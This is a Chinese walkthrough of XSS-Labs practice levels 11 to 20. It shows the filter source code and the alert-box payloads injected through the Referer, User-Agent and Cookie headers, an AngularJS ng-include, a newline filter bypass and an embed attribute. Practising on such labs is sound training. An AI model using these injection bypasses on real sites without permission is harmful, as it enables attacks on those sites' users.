XSS-Labs大闯关第二弹

2023-10-21 11:21:38 浏览数 (2)

最后两题我还没看懂,等我看懂了再写吧。或者来个大佬指点一下。

level 11

referer

查看源代码,发现了和level 10一样的隐藏表单。给每个隐藏变量传参,查看源代码,发现只有t_sort可以接受参数。

代码语言:javascript复制
http://xss-labs/level11.php?name=xss&t__link=xss&t__history=xss&t__sort=xss&t__ref=xss

尝试和level 10一样构造参数,发现被过滤了。(实在是想不出来了,偷偷看亿眼后端源代码)

代码语言:javascript复制
# 关键代码 
$str11=$_SERVER['HTTP_REFERER']; 
$str22=str_replace(">","",$str11); 
$str33=str_replace("<","",$str22); 
<input name="t_ref"  value="'.$str33.'" type="hidden">

获取请求头中referer的数据,过滤<>,并赋值给t_ref

用burpsuite抓包发现请求头中没有referer

代码语言:javascript复制
GET /level11.php?name=xss&t__link=xss&t__history=xss&t__sort=xss&t__ref=xss HTTP/1.1
Host: xss-labs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

firefoxMax HackBar(HackBar用不了,悲)添加referer。查看源代码,发现t_ref被赋值了,接下来的步骤就和level 11相同了。

传递referer: 1" type="" onmouseover="alert(/xss/),查看源代码发现拼接成功,鼠标移动到该元素上,跳出弹窗。

level 12

User-Agent

直接查看源代码,发现了四个隐藏表单,直接给这四个隐藏变量传值发现只有t_sort能接收2参数。

但是发现了一个特殊变量:

代码语言:javascript复制
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">

t_ua的值为http请求头的User-Agent。通过burp suite抓包,尝试通过修改User-Agent的值来拼接代码:

1" type="" onmouseover="alert(/xss/)

放包,发现拼接成功,鼠标移动到该元素上,成功跳出窗口。

less 13

cookie

和前面两题类似,首先分析源代码,可知这道题的突破点在于cookie。burp suite抓包,修改cookie即可。

代码语言:javascript复制
GET /level13.php?name=test HTTP/1.1
Host: xss-labs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=1" type="" onmouseover="alert(/xss/)
Upgrade-Insecure-Requests: 1

放包,查看源代码发现拼接成功,鼠标移动至该元素上,跳出弹窗。

less 14

貌似出错了?题目给的网址无法访问。

less 15

先看看AngularJS ng-include 指令差不多就有头绪了

这里可以让ng-include去包含第一关存在XSS漏洞的页面。

src='level1.php?name=<button onclick="alert(/xss/)">click</button>',可以发现源代码包含了该内容作为一个子节点。

点击即可。

less 16

script、/空格全都被过滤了,被替换成实体编码&nbsp;

代码语言:javascript复制
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

在HTML中把回车当成空格使用时合法地,回车的URL编码为所以构造payload为

代码语言:javascript复制
?keyword=<img
src="none"
onerror='alert("xss")'>

less 17

进来一看,点我进入下一关?点点看。

点开源代码一看,你搁这玩我呢?

还是老老实实做吧。关键在这里,传入的arg01和arg02到这里的src里面去了

代码语言:javascript复制
<embed src="xsf01.swf?a=b" width="100%" heigth="100%">

构造payload,然后成功了。

代码语言:javascript复制
?arg01=a&arg02=a onmouseover=alert(/xss/)

less 18

跟上面一题一模一样的,没啥好讲的。

less 19

还没看懂,不会。

less 20

0 人点赞